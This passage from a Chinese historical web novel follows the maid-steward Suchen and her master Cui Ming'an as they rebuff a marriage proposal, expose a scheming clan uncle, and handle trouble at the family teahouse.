“王……卢……嗯?”崔明安翻看着手里的拜帖,故作疑惑地转头问:“郑大人,鹤珍记得……郑四小姐是您幺女吧?”
原来这老头有这个打算,素尘和云竹两人低头站在后面,听着他这句话,皆是沉默。
不等郑大人开口,崔府叔父自愿当他的马前卒,口一张便是夸赞之词:“两家本就关系紧切,你母亲也是出身郑家,如今亲上加亲,你们二人更是相配至极,至于那些个捕风捉影的传闻……”
素尘听到这位大人忽然又给自己飞了个眼刀,她虽然依旧挂着笑,但心里已经有几分无言以对了。她悄悄翻了个白眼,以示自己的抗议。
他话里暗示意味明显,郑五爷却没有任何表示,眉毛微皱,眼里闪过几分不屑。
“鹤珍身边这位素尘姑娘能力出众,不仅是拙荆在家中时常提起,宫宴之后,户部赵大人也对你赞不绝口呢!那些传闻,我郑府自是不会放在心上,若是贤侄有心,这门亲事我们两家便也结下了。”郑大人开口,藏起了先前各种情绪,摆出最显宽厚尊长的姿态。
崔明安不言,只是在他们对面坐下,端起素尘适才沏好的茶。
两家结亲,皆是利益交换。
但崔明安在崔府身份特殊,家主婚事加上世家圈子里头近来的打算,也逼得郑五爷即刻亲自拉下脸来崔府商议。
眼瞧着这崔府小辈竟然还拿上乔了,郑五爷等着他的回复,都是些官场中浸染多年的老狐狸,自然沉着气,坐在那儿品茶。
素尘数着崔氏叔父端杯的次数,给站在他身后的婢子使了个眼色。
那婢子比其他二人身后沏茶的侍婢端起壶给他添了茶,沉默的堂厅里被她的动作声打破。
崔氏叔父果然忍不住了,摆出一副长辈的姿态:“鹤珍,你怎么不说话?”
他究竟是怀着什么样的心思来京的,素尘看着他一点儿都没看清形式,只呆愣愣地被郑五爷当刀使,不禁怀疑这位不知为何突然出现,又真攀上主家关系的崔氏叔父。
他嘴里念叨着什么父母之命,媒妁之言。
全然没有注意到两人之间的博弈,真正的筹码都没拿出来,郑五爷真正的理由也没说出来。沉默的气氛里只有那个姓崔的老头在不停地叫唤。
不知被他当成什么红颜祸水的素尘在收获好些个眼刀以后,终于听到郑五爷败下阵来:“鹤珍,今日过来主要是……”
他谨慎地看了眼满院奴仆,崔明安放下茶杯,挥挥手。
崔府奴仆皆垂头有序的退下身去,只留下三位主子身边的人于中堂内。
看着这个情景,素尘便知好戏开场了。
郑五爷忽的长叹一口气,眼里悲戚:“贤侄,我今日过来,不是为了逼迫你什么,我家小四在京中闺秀之中也算的上数一数二的贵女。但京中近来多生变故,陛下立佛一事,虽是没对咱们动手,但暗自打压世家势力的心,却也是从不瞒着。”
他指着自己的心口,摇摇头:“我也倚老卖老一次,你母亲与我从小一同长大,堂兄妹之情,当得上你一句五舅吧?你们崔氏当年那场劫难……郑叔也不愿多谈,但如今我二府若是在你们二人这儿结为姻亲,面对再多的变故动荡,也稳坐如山。”
他说得口干舌燥,见崔明安神色微懂,才端起茶杯大大饮了口已经放凉些的茶,等着对方开口。
崔明安沉默片刻,起身大步走到他面前。
他动作突然,郑五爷差点呛到,但手还是稳稳地将杯放下。
“母亲在世时,鹤珍与郑家妹妹见过面,自然知晓五舅苦心。”崔明安端起茶壶,为他添茶,“但就算没有这段婚事,崔郑两家也定能共同应对,也就不必耽误了她。”
郑五爷却不觉得自己女儿被耽误了,本就是在京中择一优选罢了,既是能与崔府家主再次结亲,便是再好不过了。
“但是……”崔明安行礼的身子直起,直视着他的眼睛,温柔一笑,“无论如何,五舅也应该把手从我这里拿来吧?”
坐着的长辈抬头看着面前站着的小辈,这才猛然发现这小子眼里分明尽是居高临下的傲慢。
“你这是何意?”
崔明安唱罢,素尘这才登场。
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她掐着时机给郑五爷身后侍女使眼色,那侍女将茶盘从桌案上端起,给素尘腾出位置。
一直拿着的茶楼账本被素尘推至郑五爷面前,她面前恭敬。
“这是……”郑五爷眯了眯眼,看着那无甚特别的账本,神情自若,但他手中微抖的茶杯暴露了他心中的不安。
崔明安没说话,但是给了让素尘开口的示意。
她为郑五爷贴心地解释:“这是茶楼的账本。”
“茶楼……哈?这偌大京城那么多茶楼?”郑五爷眼神不耐。
京城茶楼无数,却只有一间茶楼牌匾上只写着茶楼二字。直白有趣,开业时便得了不少雅客前来,这“茶楼”一名,在知晓其背后崔府势力的世家人眼里,怕是很难再想到第二间。
素尘也不急,只继续道:“大人,奴婢所说的是醉仙楼对面那间茶楼。若是您还是不知道,后面我会让掌柜的和每日来茶楼饮茶的那几位客人一同回去转告给您的。”
这话说的不留情面,但得了崔明安指使的素尘一点儿不怕。这戏台既然已经搭好了,她为何不唱?这老头天天给自己找事,这些天自己忙里忙外的怨气,终于有正当机会撒出来了。
上面那些和宫里有关的几处,素尘在让人抄录时已经隐去了。
郑五爷看到的,只是自己派人办的那几次青谈会和贿赂掌柜的安排那些人平日喝茶位的银两。
“若是您擅自行动,又将这些事儿引来我这儿……”崔明安无奈地笑了笑,果真是一副清风明月的模样,“还是有些麻烦的。”
“证据呢?”郑五爷忽然笑了声,他看着年轻的男人,上面隐隐还能寻到几分他母亲的模样,“这些不是我的人。”
“鹤珍知道不是您的人。”
“那你所说的那些……可笑!”
崔明安摇头,他伸出食指放在嘴上。
素尘看了眼门口方向,不知何时消失的云竹带着人进来了,他们对视时,眨眨眼。
将他们之间动作尽收眼底的崔明安神色淡然,只等着该有反应的人继续。
郑五爷看了一眼旁边木讷的崔府叔父。
得了眼色的人却看不懂他的意思,竟然直接露出了不安之色。
真是废物!
无论郑五爷心中多恼,他这个时候都得设法让场面好看些。
“府里多了个奴婢,您们若是不嫌弃便带回去吧。”崔明安笑笑。
那女子右脸红肿,本有些清秀的脸变得有些狰狞。她被人控制着,泪眼盈盈地看向崔府叔父。
“啧……”云竹皱眉咂舌。
郑五爷看着这一幕,几乎有些崩溃了。
“若是你心里已有决断,那五舅也相信你,”他起身,看着崔明安,“这些……下次再议吧。”
他拂袖离开,不理会崔府叔父的去留。
素尘挑眉,看着崔府叔父不知所措的模样。
“……”
“真是好一对野鸳鸯啊!”文竹不大不小的声音响起。
28. 第 28 章
他拿着一册手卷进来,瞧着里头这么热闹,嘴贱地说了这么一句。
崔明安已经坐到主位上,听了他这不敬的话,也只是笑一笑。显然,文竹这句话是在他的默许下说的。
整个中堂里外侍候的人心里都清楚,但这位崔府叔父不清楚。
他虽出身清河崔氏,但却是支系里的一个崔氏小官和府里奴婢私生子。身处这个境地,高官厚禄轮不到,布衣白丁却也瞧不上。
如今好不容易得了机会进京,他自然沦陷在这满城富贵之中。自小聪慧,偶尔还能靠着读书得几分父亲的关注,但如今明明看不清里头形势,却还是自愿沦为他们手中一把刺向崔府的刀。
素尘缓缓退回崔明安身后。
崔明安看着这个叔父,手指轻轻敲着桌面,一下一下。
“您救救……”那女子见他不动,小声抽泣,看起来好不可怜。
那男人却一下子反应过来,大声说:“你胡说什么?”
说这话时,眼睛瞪着进来的文竹,但也让那位奴婢住了嘴,她不可置信地看着他。
文竹眨眨眼,故作礼貌地向他行了礼:“文竹见过大人。您误会了,文竹只是在说适才捡到的这方帕子罢了。”
他拿出一锦帕,青绿色的帕子用的锦布极好,在他手中晃着日光,波光粼粼如水纹一般。文竹将那方帕子奉给崔明安查看,在展开的一瞬间,不知花了多少心思绣上的那对鸳鸯探了头。
看着那锦帕,崔叔父脸色惨白,理智让他控制住抖动着想探进怀中的手。
“这是……”素尘看着那锦帕,赞叹上头的绣工真是精良。
“叔父,这是从您房里窗台上寻到的。”崔明安抽出文竹腰间放着的匕首,将那锦帕挑起。
他似笑非笑地看着崔氏叔父,温润玉容下带着浓浓的威胁之意:“早就听闻清河老宅里有人传信说叔母绣工极佳,今日一见,果真是极品啊。”
崔氏叔父听到他提起清河老宅,便知晓他今日摆这一套是为了什么了。
“贱内绣工粗俗,鹤珍谬赞。”
那地上奴婢听着他们这话,不甘地出声:“大人!那分明是奴婢绣……”
“住嘴!”崔氏叔父跳起来,慌忙地扇了她一耳光,“你这是在胡乱攀扯什么?我根本就不知你是谁!”
他泪洒当场,躬身给崔明安鞠了一躬,与平日那趾高气昂,严肃傲慢的模样全然不同:“今日是叔父多嘴了,但叔父也着实是担心你的婚姻大事啊!”
仿佛是找到了理由,他忽然开始激动起来:“你父母亲去世的早,老夫人年纪也大了,老宅中的各位长辈们让我进京时,专门交代了要好好注意你的婚事啊!你……”
“叔父还没认清情况吗?”崔明安脸上和煦的笑容消失了,他困惑地看着他,“还有你……”
他伸手指向地上呜呜哭喊着混蛋的奴婢,皱着眉头说:“很吵。”
本来等在中堂院内的奴仆们皆垂下头转身向外走去,完完全全留下公子院的人和泪眼婆娑的两人,比先前郑五爷聊起京中局势时还要沉默。
崔叔父刚抬手把眼泪擦掉,心里还道崔明安怎么和平时全然两幅面孔,就听见面前那女子忽地惨叫一声,几滴液体滴落在玉石地上。
他慌忙看去,只见那奴婢痛苦地躺在地上,捂住嘴的双手不断浸出鲜红的血液。
她痛到失声,只是在地上不停地蜷缩着。
她抓住他的衣摆,眼里迸发出几分狠意,从头上拔出簪子向他大腿刺去。
但很可惜,崔明安已经让人将她拉开,那簪子与那紧要处只是堪堪擦过,破皮染出了一点血迹罢了。
可就是这一点点小伤却让他失声尖叫,嘴里喊着“毒妇”、“贱人”等字眼。
场面之慌乱,素尘只是淡淡得扫了眼崔氏叔父下半身的血迹,心里不禁嗤笑一声,上边的血恐怕大半都是被那奴婢用手抹上的。
前面坐着的崔明安却忽然回头看了她一眼,与她对视上的那一刻却是面色一变。
“带下去吧。”他挥挥手,让侍卫将那奴婢带了下去。
“叔父可知这奴婢做了什么?”崔明安也不戳破他们二人之间的那些事,只是故意问道。
崔氏叔父那身月白色的白袍已经变得脏污不堪,却也只得忍着疼痛站在这里和他打哑谜:“不知,真是个疯子。”
“那婢子得了贼人指使,暗中陷害府中姨娘,”他淡淡地说,“真是可恶啊。”
“是啊……”崔氏叔父声音虚弱,掩饰住了其中不安。
文竹让人将沓信纸送到他手里,又将一串佛珠扔在地上。
本就脆弱的线绳比木珠更易受损,掉落在地上的那一刻断开,满地佛珠,滴答作响。
佛珠砸地声清脆悦耳,但崔氏叔父脸色愈发苍白。
“鹤珍见您上次所言,皆是从城南建石佛处驻守的寺庙僧人那儿所得。蛊惑那婢子的贼人就时常出没于此,叔父请格外小心,”
崔明安再次提醒,“您不妨回清河老宅吧,那儿檀香味轻些。”
素尘屈膝捡起脚边的佛珠,附和一声:“是啊,您上次踢碎的那盆里沾了您这佛珠,还好收拾的人帮您捡起来了。”
“哟,倒是和那陷害主子的婢子手里那串一样呢。”
“……”
那些物件一样样被崔明安身边的人递上来,崔氏叔父不甘地抠了抠袖角,最后还是泄了最后一口气。
“你赢了。”他看着崔明安,苦笑一声。
随后走了出去。
没人拦他。
堂内又一次静了下来,只留下满地狼藉和空气中浸着的铁锈味。
素尘一直紧绷着的神经忽然松了下来,猛然鼻间血腥味被她嗅见,她忽然捂住嘴,干呕一声。
见她如此,先前见血时平静的几人忽然慌乱起来:“要热水吗?”
素尘苦笑一声:“没事,和这些无关,只是今日未食午食,有些累了。”
这一通下来,今日已经到了要用晚膳的时辰了。
“厨房已经做好了,”崔明安起身,顺手整理好自己的衣袍,“走吧。”
他走在前面,一行人除了那些留下收拾中堂的,都跟着他回了公子院。
素尘伴在他身旁,用手上提着的提灯照着前路。
公子院落地静僻,几乎算是府里的最西处,与其他院子相比,最近的却是隔壁府邸。
崔明安让云竹文竹他们先回院里将灯火全都打开。
只剩下主仆二人一前一后地走着。
路上昏暗,女子手中提灯显得格外显眼。
她披着月白色的披肩,被灯火照暖,映着光的眼眸轻轻转动,
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与他相望,弯眸浅笑。
崔明安开口:“适才你可是害怕了?”
忽如其来的关心,让素尘默了片刻,她巧笑嫣然:“素尘怎么会怕这些?”
“……”崔明安看着她,脚步停了下来。
一直落他一步的素尘也跟着停了下来,她眼里的笑意是真心的,仿佛听到了什么有趣的事。
“满府侍卫之中,怕也是没有人比奴婢见死人见的多吧?或者也可以说……”素尘歪头,“您当时见到奴婢时,素尘不也算半个死人了吗?”
她话说的轻巧,仿佛只是在谈论今夜的晚饭。
“若是不惧,下次便不要露出那幅模样。”
“什么模样?”
崔明安却没回答,只是看了她一眼,抬腿向前走。
随着风传来的只有一句带着笑意的话:“今日厨房做了你喜欢吃的鱼羹。”
素尘奇怪的摸摸自己的脸,却只摸到自己忍不住勾起的嘴角,她赶紧抬步追了上去。
“公子等等奴婢!路上黑……”
“今日为何忽然做鱼羹啊?我今早没看见厨房进了鱼啊?”
“你吃便是了。”崔明安不耐。
先前那些事被风吹散在脑后,主仆二人谈论着。
……
“啊——”身上脏污不堪的女子看着来人,眼睛因为几日不见阳光,已经变得浑浊不堪。
素尘环顾四周昏暗的环境,最后目光停在了她身上。
“嗨?”她将手里提灯放在地上,蹲下身来,“你冷静些。”
那女人带着哭腔,想说话,却只能吱吱呀呀地发声。
素尘食指放在自己唇上,示意她噤声:“是因为你执意要求,我才来的。”
身后跟着的侍卫将准备好的纸张递给她,又把带着的印泥打开放在一旁。
“近来府里因着科考,事情有些多。今日也是因着公子要去商议才得了空过来见你,”素尘将写满崔氏叔父背后那些事的纸放于她面前,语气温柔,“所以现在我们速战速决?”
女子失神的看着状纸,深吸一口气,苦笑一声。
“你看不懂字?”素尘了然,但还是有几分意外。
这份由她口吻写出的崔氏叔父的桩桩件件,可是着重强调了她是被他吟诗的才子模样吸引的。
那女子指着侍卫男子下身。
“他没伤着那处。”素尘连回头的动作都没有就清楚她所关心的事。
“啊啊啊啊啊啊啊啊——”女子忽然暴起,但手还未碰到素尘,叮当铁链声已经响起,
“但若是你摁了手印,里头的事儿足以让他痛苦一生了,”素尘看着她,一点同情之心都没有,“无论是行家法,还是私底下教训,你都可以尽情想象一下。”
她俯身,在侍卫们惊忙阻止时抬手让他们无需惊慌,在女子耳旁轻声说了些什么。
女子垂眸,最后摁下了手印。
她身上血污沾染满身,那本一直沾染着她的檀香味终于散去了。
素尘带着那状纸起身,从这秘牢里出去。
日光耀眼,与地牢里不同,刺得她推开房门后,闭上了眼睛。
“姑娘!”院门外有人寻她。
“茶楼派人请您去一趟,”那小厮得了消息就往这边赶,气喘吁吁,“今日楼里出事了……”
29. 第 29 章
茶楼门外梨树枝头雪白一片,女子帷帽上落着一朵梨花。
她脚步飞快,裙摆扫过地上还未来得及清扫的落花。
“如何?”素尘皱着眉头看着茶楼门口等候的伙计。
那伙计拦着她,往旁边躲着:“衙门的人在里头,掌柜让咱们去崔府寻您。”
他神色不安,不住地往里头看去,但又说不清楚里头究竟是什么情况。
说来说去,有用的消息也就只是几句罢了。考试结束后,等结果的书生们一同来茶楼畅谈,不知是说了些什么惹了祸事。
素尘抬手摸了摸腰间崔府的腰牌,确定了纱幔将自己面容完全遮住之后才让那伙计住了嘴,自己抬步进了茶楼。
果然情况有些紧急,木门被几位大理寺府吏守住,她将崔府腰牌一拿出来,他们便让她进去了。
里头紧张的气氛随着她进来的动静松动了些,无论是被压着的书生们还是安然坐在位上喝茶的大理寺少卿都看向她。
书生们还没动静时,这位年轻的官员便已经一眼扫到她腰间木牌,那双上挑的眉眼顿时带上几分笑意。
素尘走到他面前,叉手向他恭恭敬敬地行上一礼。
对方待她一礼行完后才起身,仿佛才看见一般过来虚扶她:“姑娘无需多礼。”
他的手没碰到她,只是虚虚做个样子罢了。素尘仗着纱幔遮面,大方地垂眸瞧着他那支手一收回便摸上他腰间那佩剑,其中示威意味明显。
“姑娘!”掌柜的声音从账房处传来,脑袋从敞开的半窗挤出来,仿若看到救世主一般。
他虽被关在里头,但瞧着头发衣裳一点儿都没乱,这事儿恐怕不是冲着崔府来的。素尘收回目光,将头上帷帽摘下:“今日可是楼里犯了什么事,冲撞了少卿大人?”
那人分明早就认出了她,却一副第一见她似的。
她稳着笑意,等待着他的回复。
少卿邀她一同坐下饮茶,指着那边被捂住嘴挣扎的书生,语气苦恼:“本官也不是刻意为难茶楼,只是这群学子自进京之后就总是聚在楼里生事,我们本也只当他们少年热血,无知无畏。今日却聚众妄议朝政,更是对陛下有不敬之意。”
他抬手为素尘斟了一杯茶,看她喝了一口才继续说道:“若只是学子们失言也就罢了,但若是背后有人煽动……那茶楼可不是就有嫌疑了?”
那双眼睛狡黠藏光,让人一眼看出他心思深沉。素尘直直地迎上他的眼神,他已经将话说到这个地步,恐怕最好是立刻将此事与崔府摘离,否则后面怕要再生事。
这位大理寺少卿算不得籍籍无名,换句话来说,比起其他四品官员,他有点儿太出名了。甚至让“久居宅院”的素尘只知晓他闹出的那些动静,却记不清他的名字。
素尘只依稀记得他与户部尚书赵大人似是同乡,她声音沉稳:“金大人何必如此吓唬奴婢?咱们茶楼开门做生意,掌柜的每日抬头想着茶叶,低头又要顾着进账,又岂会沾染这等祸事呢。”
金少卿虽关着掌柜他们,但他看着态度不算强硬。掌柜投来的目光太过炽热,面前男人也带着笑意看她,素尘却不觉慌乱。
见这金大人不理会她的话,素尘不恼,反而面上又增了几分笑意,继续道:“烦请大人将我楼里众位放了吧。”
“就放了你们楼里伙计他们吗?”他摆出一副有商有量的模样。
“嗯。”
忽然,这人笑了出来。
他眉眼本就生的上挑,同林间狐狸一般狡黠。这一笑,穿着大理寺官服的人倒是平白生出几分妖气。
他指着那边模样狼狈的书生们,歪头眨眼:“我以为姑娘是来给这些书生求情的。”
被压在桌子上的那个书生听到这边的动静,奋力抬头看过来,但在与素尘对上眼后,亮起的眼睛又暗了。素尘自然是将这一切尽收眼底了,但她也不去深究这人被堵住的嘴巴又支支吾吾地说了些什么,只是淡然一笑:“素尘怎会如此不懂事?不过是茶楼既无错,自是希望大人高抬贵手,去捉拿真正的犯人。”
那书生听到她的话,自是愈发气愤。
他不认得这个奇怪的女人,只知道他们是一丘之貉。
金大人抬手,那压着书生的府吏手上使了劲,让他又被死死摁在桌上,好不狼狈。但却止不住他嘴里不住地呜呜喊着,只得将压在他脖子上的剑鞘往上一拉,吓得那书生终于住了嘴。
这边声音刚小,账房那边的声音传来。
堵在门口的府吏将门打开,里面的掌柜带着人颤颤巍巍地走出来,瞧着素尘时,泪水不住地打转。
“多谢大人。”素尘起身,与掌柜的一同向他行礼。
“不必,是在下带人叨扰茶楼了。”金大人也起身,抬手示意他们不必多礼。
方才一直提着心与他周璇,如今素尘才注意到他右手护腕处绑着束袖,趁着黑色皮革,那红色的布条显得格外明艳。
他给手下一个眼色,便转身准备离开。
忽的他停下来,指着桌上的茶水,笑道:“对了,掌柜的,结下账。”
掌柜这会哪敢和他多说些什么,这活阎王一进茶楼便把他直接压进账房,连说话的机会都没给他。
蛮不讲理!
还好素尘接过话,她走到茶房里拿起一打仔细用油纸包好的茶饼和茶点,放到他身旁侍卫手里:“适才瞧大人似是爱茶的模样,茶楼怎会收您的银两呢?”
“这是我们楼里茶点和新来的茶,大家出来一趟也累着了,刚好回去也好喝杯热茶暖暖。”
素尘态度圆滑殷勤,金大人让随行侍卫接过。
没多生事,便直接带着人走了。
只是在最后留下一句意味不明的:“下次见。”
这声哼笑激得素尘后背发麻,但她还是维持着面上笑容,送他们出去。
他们走了,那些躲在角落的茶客们才三三两两地跑出去。
没过一会,楼里便空了。
从年头忙到年尾的掌柜得了闲,脸上却挂不上一丝笑容。他沮丧着陪着伙计们收拾楼里倒得七七八八的桌椅。
“还没完呢。”素尘带上帷帽。
看守的人走了,门却没关上。外面人群便围在门外,伸着脖子想看看里头发生了什么。
掌柜激灵地回
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头看她。
“把适才少卿大人点的茶,再送些去他府里,”素尘指了指后院放茶的库房,“类似的名贵茶也多取些,包得漂漂亮亮的一并送去。”
掌柜知她意,点头说好。但他还是忍不住抱怨一句:“真真是亏大了。”
听到这句抱怨,素尘没有多说什么,只是安抚性地笑笑,蹲身捡起被扫在地上的茶盘。
平日里不常见到的素尘姑娘都已经与他们一同收拾楼里杂乱了,沮丧的众人终于提起劲来。
等楼里收拾好,却也没有人敢进来。
“大家今日先回去休息吧,工钱还是会照常发的。”素尘示意掌柜的,等大家都离了楼,她找了个椅子坐下。
掌柜没走,他显然有话想说。
“今日之事……”
掌柜见她起了话头,便将手里紧紧攥着的帕子扔下,与她相对而坐:“姑娘,今日分明是那群书生口出不逊,明眼人都瞧得出与我茶楼无一点儿关系。”
素尘想说些什么,但隔着帷帽,掌柜不知她意,只自顾自地说着:“但是这金阎王带着大理寺那群人一进来便不由分说地将咱们压进账房,也不许我开口,便坐在那里喝茶。”
“我虽曾也是一个只知生意不懂茶的俗人,但这么些年下来,从公子给在下这间茶楼到如今名满京城,一路走来,在下与这楼也是有了感情。”
他与素尘共事几年,也算是看着她长大的。素尘手段了得,他不是不知道,只是如此情景下实在容易将她当作前些年那个只知算数不爱说话的公子侍婢。今日这些抱怨他怎么都不敢说与旁人听的。
但他忽视了素尘已经成了崔府的管事,本就因着今日之事心中烦闷的她,没说话,只是静静地听着。
没人安慰的掌柜停了声音。
“您在茶楼这么些年的辛苦,我自是知道。但今日之事,与楼里确实脱不了干系。”
“近来京中气氛紧张,您近来却比以往松懈得多。”素尘声音微冷,不留情面。
但是她却不提自己最在意的那几笔与宫中有关的账,如何打算,她也不知。只是给自己留一次和那位贵女见面的机会罢了。
素尘道:“今日那些书生说了些什么?身旁有哪些奇怪的地方,回去之后仔细想想,写下来送崔府来。”
掌柜面色灰败。
女子起身,走到掩上的大门处:“别多想了,今日便先回去休息吧。方才茶楼被封住时,您夫人想必也听到了消息,现在怕是还在担心呢。”
“可是……”
“明日之事明日再说,今日来的只是大理寺少卿,还不算太糟。”
送走了心不在焉的掌柜,素尘也坐上马车。
她看着手里的木牌和从掌柜那里拿来的账本,腰牌上面的“崔”字上的金边依旧耀眼。
今天大理寺少卿是专门坐在那里等崔家人出面。
素尘垂眸,抬头透过纱帘看着楼上一直看戏的女子。
她依旧面带醉意,坐在那儿向她一笑。朱唇微嘟,似是说了个字。
但那扇窗马上关上,素尘收回眸子。
徐姨娘的事解决了。
30. 第 30 章
关于楼上那位公主殿下不怀好心的事,素尘自认为是多少有些猜测。
但是当她看到手里账本里夹着的这张信纸时,还是后悔自己顺手拿回来的习惯。
还未从这条街出去的马车压过路面杂物,发出吱吱呀呀的声音。
素尘却想让马车往回走,将手里这块烫手山芋扔回去。
但她还是克制住了,毕竟不管怎么想都知道不可能。
上面墨迹比起飘逸,更像是主人手没拿稳,俯在桌上胡乱写的。
“今日天气甚好,交个朋友。”
素尘:“……”
没看见没看见。
但这句话确实提醒她了,纱帘遮了些光,但外面日头正盛,车里大亮。
正好赶上会试考完,忽然变暖,对各位等榜的考生而言,可不谓是个好兆头啊。
想起那些个考生学子,素尘起身,弯腰掀开车帘:“适才你可听人说近来会考一事?”
马夫手里控制车头动作未停,只是低声说:“今年寒门里头似是没有尤其出彩的人。”
“出彩是指……”素尘眉毛微皱。
“指卢公子众望所归。”马夫声音愈发低了,“姑娘,快到了。”
“姑娘!”还未到府门外,门房就已经过来招呼他们。
等马车在门前挺好,素尘才掀帘而出。
“发生何事了?”
那门房脸上扯着笑:“卢府管事适才带人送了请帖来,老夫人让您一回来便去永慈居与她商量。”
卢府无论是拜帖还是请帖在会考前不知送了几回,怎么此次老夫人忽然要与她商量了?素尘面上平淡,回了声知道了便进了府。
还未敲响永慈居的木门,便从里面听到女孩撒娇哭闹的声音。但在她抬手轻叩三下后,里面动静忽的停了下来。
开门的是先前照顾她的琳姑娘,她面上带着笑请她进来:“倒是巧了,小姐正好也到了。”
素尘没提适才听见的动静,只是一同边走边笑着说:“正好把从茶楼拿的茶点给小姐,真真是巧了。”
她抬手晃了晃映着刻了茶楼花纹的食盒。
声音不大,正好让里头的人听见外面动静,知晓她的位置。
“夫人好。”穿过院里枝木石阶,屈膝向高位上的老夫人行礼。
得了回应后,又转身向那女孩行礼。
崔明锦先抬袖遮住自己泛红的眼睛,才闷闷出声:“无需多礼。”
素尘垂眸敛息,装作没注意她的异样。
“祖母,明锦去净面整理一下衣裳。”崔明锦跟在琳姑娘身后,和她一同去了旁边隔间,只用屏风虚虚掩着。
还是想听这边的话。
崔老夫人也看出来了,但她不打算计较。无需她多说,一旁服侍的嘉嬷嬷便递给素尘一帖子。
“卢府底气倒是足,这个时候便开始邀约客人庆贺高中了。”崔老夫人的话听不出语气,只是抬手让她在旁边寻个位置坐下,“不急,先歇歇。今日茶楼如何?听说大理寺来人了?”
素尘刚接过旁边侍婢送来的茶,准备喝,听着这话,又默默放下:“老夫人放心,不过是误会罢了。”
“大理寺近来倒是挺闲……”崔老夫人皱眉,随后摆摆手,“也罢也罢,鹤珍让你如何便如何吧。”
她话停了,素尘赶紧抓着机会抬手喝口茶。
动作要快,但又不能让老夫人看出不雅,素尘可谓是努力至极。
“卢家送这帖子的名义是……闻喜宴?”素尘翻开帖子,仔细读着。
“卢家那小子上次见着确实有几分才学,这宴急是急了些,咱们却也要认真准备着。”崔老夫人声音缓慢,与上次咄咄相逼不同,这次素尘的位置是崔府货真价实的管事。
“礼单你来定夺,若是得中魁首,那就再与先前规模再添些玉器,若不是魁首,那你就添些寓意好的墨啊笔啊的。”
“这次您出面吗?”
崔老夫人已经有些年未出席宴会了,素尘也只是习惯性地问一下。
“身子乏了,与年轻太太姑娘们说不上什么。”崔老夫人强调,“就说我身子不适,与明锦在府里休息吧。”
“祖母!”屏风后的人终于忍不住了。
她已经净了面,甚至头上发钗还换了支,急冲冲地跑出来,头上那支流苏玉珠不住地晃啊晃。
崔明锦漂亮的小脸皱成一团:“我说了我要去!”
见崔老夫人闭着眼睛假寐,根本不听她言语,只好转而看着素尘。
但她目光不自觉地向素尘脖间瞧去,与她立领间盘扣相触时立即心虚似地弹开。
“素尘!我要去!”她瞪着眼睛,重新上好唇脂的嘴不住地开开合合,“上次你就听了兄长的话,这次必须得听我的!”
她不住地吵闹,素尘没有出声,只是低着头默默听着。而其他婢子更是低着头沉默,满屋只有她的哭闹声。
唯一能说话的人终于睁开眼睛,神色微沉:“崔明锦!”
祖孙二人对峙着,嘉嬷嬷走到素尘面前:“姑娘,今日天色也不早了,我送送您吧。”
素尘点头,起身安静地向两位主子行了礼,再慢慢走出去。
“方才难为姑娘了。”嘉嬷嬷抱歉地看着她,只是眼神里没甚抱歉。
“无事无事,小姐性子活泼。”
嘉嬷嬷满意一笑,看着她:“今日小姐的事便不用和公子说了。”
“我省得的。”素尘垂眸。
……
“崔明锦被罚跪了?”崔明安夹起一块白玉豆腐。
在旁布菜的素尘边往他碗里夹了一点儿菜,边叹气:“是啊,奴婢到现在还没拟定好名册呢。”
“添上她的名字吧。”崔明安似是对这些菜色无甚兴趣,“跪不了多久的。”
“嗯?”
“祖母不会让她跪多久的,况且她只要好好守规矩,祖母不会多说什么。”崔明安吃饱了,将碗筷放下。
素尘端来漱口净手的巾帕茶水,点了点头。
夜里月亮明亮,星幕璀璨。
崔明安无暇抬头,只进屋提笔。
上面明晃晃地写上大理寺少卿的名字,素尘在旁研着磨,不自觉地念出声:“金诺峥……”
原来他唤这名,素尘唇角不自觉勾起,没想到那如妖狐般的角色还有个如此正直明亮的名字。
“
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他名字如何?”崔明安心情不错。
“很好,金大人父母极会取名。”素尘真心地夸赞。
“他父母没为他取名,这是他中榜后得了圣恩后自己取的。”
“啊……”素尘心思微动,见崔明安今日甚是愉悦,便多问一句,“您是要弹劾他吗?”
崔明安开着玩笑:“是陛下想看到这份折子,不过就是半月月俸罢了,他虽是贫民出身,如今腰袋可比同乡赵尚书要鼓得多。”
声音温柔,但话却说得犀利。
“赵尚书?”
崔明安摇头:“与丞相一脉,出身寒门,勤政廉洁,可不是只靠月俸活吗?”
提起赵尚书,崔明安耐人寻味地看着她,带着调侃意味地说:“知晓了吗?若是当官,也当个贪官去。”
素尘身体一僵,但面上却抿着嘴嘻嘻笑着:“当了贪官,怕是要日日在御史大人您书案上出现。奴婢还是好好在您身边当为您在书案变研磨捉贪官的素尘吧。”
她话说的谄媚,但话说的确实谄媚。
崔明安听着她的话,被逗得弯了眉眼:“若是你真当了户部的官,依你的法子,怕是一半的官员都要勒紧裤腰带,生怕你拿他们来充盈国库。”
主仆二人难得逾矩在书房将朝堂上下议论了遍。
只是一人说时无心,一人听时有意。
从茶楼带回的账本被素尘放在书房角落,里头的纸条却早已被藏进了另一个房间。
纸上墨迹染着几分难以消散的酒香味。
待素尘终于回房休息时,只虚虚瞟了那角落一眼,便散发睡去。
“素尘!素尘!”
天光大亮,素尘听着身后女孩的声音,头微疼。但也只能微笑转身。
“小姐,早安。”
昨日被罚跪禁足的崔明锦不仅出现在这公子院外,面上更无缺觉的疲惫。素尘心里微惊,虽有公子提醒,但还是比她预想的要快。
崔明锦仰着头:“将我的名字加进名册里。”
“老夫人那边……”
“祖母已经允了。”崔明锦抢着说。
她垂眸看了眼素尘怀里的册子,挑眉:“已经拟好了,给我看看!”
她伸手一把拿过那名册,没注意素尘丝毫没用力的胳膊,只当是因为自己力气大。
自认为自己身体真是愈发健朗的崔明锦小姐翻开那名册,在瞧见自己的名字时愉悦地笑了笑。
“算你聪明!”她将那册子塞回素尘怀里,这次用的力气小上许多。
崔明锦挥挥手,吩咐身后的悦姑娘:“晓悦,东西。”
悦姑娘将手里木盒给素尘,面上笑意比崔明锦要客气得多。
素尘一瞧,头疼得更厉害:“素尘不需这些胭脂首饰。”
听了她的话,崔明锦却不乐意了。
“既是给你了,拿着便是。”她眼睛却又飘向素尘被领子遮住的脖颈,“就……就当是我不想要了扔给你的。”
见素尘还是未收,崔明锦急眼了,直接从手上褪下一根镯子,抓住她的手要往上戴。
但她动作忽然顿珠,泪眼婆娑地看着她。
“对…对不起啦……”
31. 第 31 章
她情绪来得突然,素尘倒是跟不上她的节奏了,只觉得自己腕间那支手柔软温柔,似是把捉疼了她。
“小姐?”她试探地开口。
身旁的晓月却叹了口气,表情也是一样的无奈。
崔明锦泪眼婆娑的说:“对不起啦……我不是故意的,那天我不知道会发生那些可怖的事,后面我实在太害怕了……”
